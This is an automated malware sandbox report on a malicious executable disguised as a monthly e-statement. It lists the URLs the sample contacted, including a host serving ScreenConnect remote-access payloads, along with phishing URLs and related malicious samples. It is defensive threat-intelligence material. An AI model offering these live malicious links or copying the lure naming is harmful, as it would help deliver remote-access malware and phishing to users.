https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationX	ScreenConnect.WindowsClient.exe, 00000007.00000002.1569444555.000000000315F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf	svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds	svchost.exe, 0000000E.00000003.1874035484.000002094ED7B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.4.dr	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application%	dfsvc.exe, 00000001.00000002.3176665958.000001E8CDEBF000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1570147020.000000001BA61000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1570020021.000000001BA33000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageSX	dfsvc.exe, 00000001.00000002.3157733053.000001E8B4263000.00000004.00000800.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Windo	dfsvc.exe, 00000001.00000002.3157733053.000001E8B435D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	svchost.exe, 0000000E.00000002.3156571081.000002094E4CF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/ResolveUser.srfsuer	svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top	dfsvc.exe, 00000001.00000002.3157733053.000001E8B41CB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4325000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B43E4000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B3C9A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B435D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4461000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee	svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trustn	svchost.exe, 0000000E.00000002.3157747586.000002094ED37000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exe&	dfsvc.exe, 00000001.00000002.3178098823.000001E8CDFCD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdmlns:	svchost.exe, 0000000E.00000003.1718011909.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#Scree0	dfsvc.exe, 00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsFileManager.exx	dfsvc.exe, 00000001.00000002.3157733053.000001E8B4263000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.appl	ScreenConnect.WindowsClient.exe, 00000007.00000002.1569247081.0000000001764000.00000004.00000020.00020000.00000000.sdmp, S0AMH0XA.log.1.dr	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecuri	svchost.exe, 0000000E.00000003.1929317541.000002094ED7C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID	svchost.exe, 0000000E.00000003.1698276835.000002094ED10000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf	svchost.exe, 0000000E.00000003.1698276835.000002094ED10000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application	dfsvc.exe, 00000001.00000002.3176169925.000001E8CDE00000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3177545267.000001E8CDF85000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1569444555.000000000315F000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1569444555.0000000003151000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1568713722.000000000129F000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1568713722.0000000001331000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1570200570.000000001BAC8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA	svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1856885795.000002094ED29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/DeviceQuery.srf	svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application.6ZZfsA	dfsvc.exe, 00000001.00000002.3177545267.000001E8CDF85000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	svchost.exe, 0000000E.00000003.1874139847.000002094F233000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157985888.000002094F21D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945573249.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914178618.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/MSARST2.srf	svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS	svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157747586.000002094ED37000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.w3.	svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.xrml.org/schema/2001/11/xrml2coreS	dfsvc.exe, 00000001.00000002.3157733053.000001E8B3D10000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdsAAAA	svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config.	dfsvc.exe, 00000001.00000002.3174576774.000001E8CC419000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.w3.o	dfsvc.exe, 00000001.00000002.3157733053.000001E8B40BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationx	dfsvc.exe, 00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsClient.exeX	dfsvc.exe, 00000001.00000002.3157733053.000001E8B4263000.00000004.00000800.00020000.00000000.sdmp	false		high
http://Passport.NET/tb	svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857145310.000002094ED5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1836923942.000002094ED0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1836908409.000002094ED07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945573249.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1929317541.000002094ED7C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914328789.000002094ED78000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1874035484.000002094ED7B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914178618.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.applicationt	dfsvc.exe, 00000001.00000002.3176665958.000001E8CDE88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd	svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM	svchost.exe, 0000000E.00000003.1698574319.000002094ED27000.00000004.00000020.00020000.00000000.sdmp	false		high
https://signup.live.com/signup.aspx	svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED55000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601	svchost.exe, 0000000E.00000003.1698718052.000002094ED56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600	svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80603	svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	svchost.exe, 0000000E.00000003.1912726200.000002094ED6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857145310.000002094ED5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3157851927.000002094ED5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1945573249.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1914178618.000002094ED0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	svchost.exe, 0000000E.00000002.3157747586.000002094ED37000.00000004.00000020.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA	svchost.exe, 0000000E.00000003.1856885795.000002094ED29000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.xrml.org/schema/2001/11/xrml2core	dfsvc.exe, 00000001.00000002.3157733053.000001E8B3D10000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80605	svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604	svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsCl	dfsvc.exe, 00000001.00000002.3157733053.000001E8B43E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000004.00000003.1295464870.0000019A7F000000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	false		high
https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf	svchost.exe, 0000000E.00000003.1698276835.000002094ED10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155342046.000002094E437000.00000004.00000020.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.13.dr	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.WindowsBackstageShell.exe.config_	dfsvc.exe, 00000001.00000002.3174576774.000001E8CC419000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1857229199.000002094ED6D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://voicemail-lakeleft.top/Bin/ScreenConnect.Client.application#Scree	dfsvc.exe, 00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf	svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155528629.000002094E43F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/Wizard/Password/Change?id=80601	svchost.exe, 0000000E.00000003.1698491632.000002094ED40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698453776.000002094ED3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3155606324.000002094E45F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698511816.000002094ED63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698718052.000002094ED56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED29000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698219169.000002094ED2C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1698315694.000002094ED52000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.59.30.201	voicemail-lakeleft.top	Germany		30823	COMBAHTONcombahtonGmbHDE	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1551950
Start date and time:	2024-11-08 11:08:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	monthly-eStatementForum120478962.Client.exe
Detection:	MAL
Classification:	mal51.evad.winEXE@19/76@3/2
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 77% Number of executed functions: 112 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 20.101.57.9, 199.232.210.172, 184.28.90.27, 192.229.221.95, 20.190.160.22, 40.126.32.68, 40.126.32.140, 40.126.32.72, 40.126.32.138, 40.126.32.134, 20.190.160.14, 40.126.32.74, 20.189.173.21
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, twc.trafficmanager.net, www.tm.v4.a.prd.aadg.akadns.net, cacerts.digicert.com, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, ocsp.edge.digicert.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, umwatson.events.data.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target ScreenConnect.ClientService.exe, PID 7484 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: monthly-eStatementForum120478962.Client.exe

Simulations

Behavior and APIs

Time	Type	Description
06:44:35	API Interceptor	5248414x Sleep call for process: dfsvc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
194.59.30.201	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse
	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse
	75kTq6Y4Ck.exe	Get hash	malicious	ScreenConnect Tool	Browse
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
popwee2.zapto.org	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
voicemail-lakeleft.top	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	9YOOBuBZtj.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	6Zx9GI028y.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	y4FSQMICGJ.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	75kTq6Y4Ck.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
	4ZVhm9dOfO.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.30.201
bg.microsoft.map.fastly.net	https://assets-fra.mkt.dynamics.com/899008e9-019b-ef11-8a66-6045bd6cbcf8/digitalassets/standaloneforms/eef8cd2b-b69d-ef11-a72c-000d3ae7186c	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://support-facebook.kb.help/your-facebook-account-has-been-restricted/	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172
	http://iw.lrvm8.sa.com/teed/ettd/sf_rand_string_mixed(24)/khalid@startissueuk.co.uk	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://bilfinger.sam2.us/user/select_client.php	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://bilfinger.sam2.us/user/select_client.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	H71PKTiNjk.lnk	Get hash	malicious	Unknown	Browse	199.232.210.172
	nR3nVVTX3s.lnk	Get hash	malicious	Ducktail	Browse	199.232.214.172
	https://www.google.com.ng/url?q=37h0p8pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/safrareal.%E2%80%8Bco%C2%ADm.%E2%80%8Bb%C2%ADr/yaya/Bo3tFjkVxTKtc5gZKuo6OSiq/am9lcmcucnVja3N0dWhsQHBpbGF0dXMtYWlyY3JhZnQuY29t$?	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	Csc-File-260593301.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
fp2e7a.wpc.phicdn.net	https://assets-fra.mkt.dynamics.com/899008e9-019b-ef11-8a66-6045bd6cbcf8/digitalassets/standaloneforms/eef8cd2b-b69d-ef11-a72c-000d3ae7186c	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://support-facebook.kb.help/your-facebook-account-has-been-restricted/	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	http://iw.lrvm8.sa.com/teed/ettd/sf_rand_string_mixed(24)/khalid@startissueuk.co.uk	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://www.google.co.za/url?q=sf_rand(2000)pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/i%C2%ADw%C2%AD.lr%C2%ADv%C2%ADm8%C2%AD.sa.%E2%80%8Bco%C2%ADm%2Fteed%2Fettd%2Fsf_rand_string_mixed(24)/khalid@startissueuk.co.uk	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://bilfinger.sam2.us/user/select_client.php	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://bilfinger.sam2.us/user/select_client.php	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://krtra.com/t/vOPRDbTNH5dT	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	https://u47729088.ct.sendgrid.net/wf/unsubscribe?upn=3Du001.qfZdNR0QStX7hi2499Z9bKHIlfJoRWg-2BGlWGdDVuEI-2FobzG9qjz4-2F04dob5Dd6GOUOU3Pe4GE6PYrXt2oKkILSW7N9FfZQ2N4Gl35KnpMSqBEWT2CbT9LCLJC-2BeMxZALeTpvN5SBe08WeI-2FhTtsgBJev9lV3YkMDIwR7EBz-2B7F8EJjQkPD0IOqhhIuRXe5-2B9OHyqfzRQ4ayUfJbAlcMDgakc8ysnB1wtz8dbYmRDwX8EKBCtLze2k3Tx2M2PnN-2FNhetjpCvMkKln1DLnT31q4j4LArUZd8zg83JOgRfGySUlDH1wNyjD-2FIFG3u702Eii1BdlMzEZ2n2J16PuZDhT-2BkYm-2Fje2zPp-2FMTq%20buOWolcgW0VkVdtN40bscK9DZxTJlq9NLJlRJ9FR3ceLaN36YPjnjkNwWqJ8u5j-2BVu08f8QPTZu2tDZIQhFb0kTHTGWEpyjMLS0ioEEFdZNkfbvR-2FagqvmkoMLXQsCf-2FRkOYjuYSsLpqjfmYpGDfnDvIgqhdAttFl1CW01gIG2o86bl45nvABGkxr5-2FdDtzSidtQf3BUumtadsueMbHwj9Cxu3xjQ-2BFZagQl0SqdqzSQY-2B-2F1SMCnOqcNzH-2FyXdbmfTPhtwqoQ-2BwUCzVnfeYurWiDmX497ZHT7yRqrIkrN8-2Fh723KQBdV125gyQNDPPI5Ge5igGUb6e1YEy2gW-2Fa97Hp3tilScSTQnTPjSuKSOiV-2Fbd-2FJP9TE-2B6TW8lIqV3Ywwt8nTI2fD8kLxAz3NUAmW6wENPDzvNEdw2aknDKd-2FE3KNWiKxOLksVVE-2FoZ93M1xv22t0FVhGyXpVry8voPOWs0NGJo5CvW0gR4NxDh9QiKB77vYgo8CU9-2FTMXvo2u-2BDqbKmIJlgZH8vD2ixsxHAiZYoPhwOf	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://www.google.com.ng/url?q=37h0p8pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/safrareal.%E2%80%8Bco%C2%ADm.%E2%80%8Bb%C2%ADr/yaya/Bo3tFjkVxTKtc5gZKuo6OSiq/am9lcmcucnVja3N0dWhsQHBpbGF0dXMtYWlyY3JhZnQuY29t$?	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COMBAHTONcombahtonGmbHDE	0jg24sHn9q.exe	Get hash	malicious	Remcos	Browse	194.59.31.120
	VDsZYqbfHI.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	2siOtP5z21.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	7uihPKvK0C.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	VDsZYqbfHI.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	1bNQ03YM1i.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	Z1e8koEK3U.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	A6Rywp6HpH.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9
	RncEYKvQGh.exe	Get hash	malicious	ScreenConnect Tool	Browse	194.59.31.9

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	O5PR3i6ILA.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	SPENDINGONDIGITALMARKETING_DIGITALMARKETINGBUDGET lnk.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	https://support-facebook.kb.help/your-facebook-account-has-been-restricted/	Get hash	malicious	HTMLPhisher	Browse	194.59.30.201
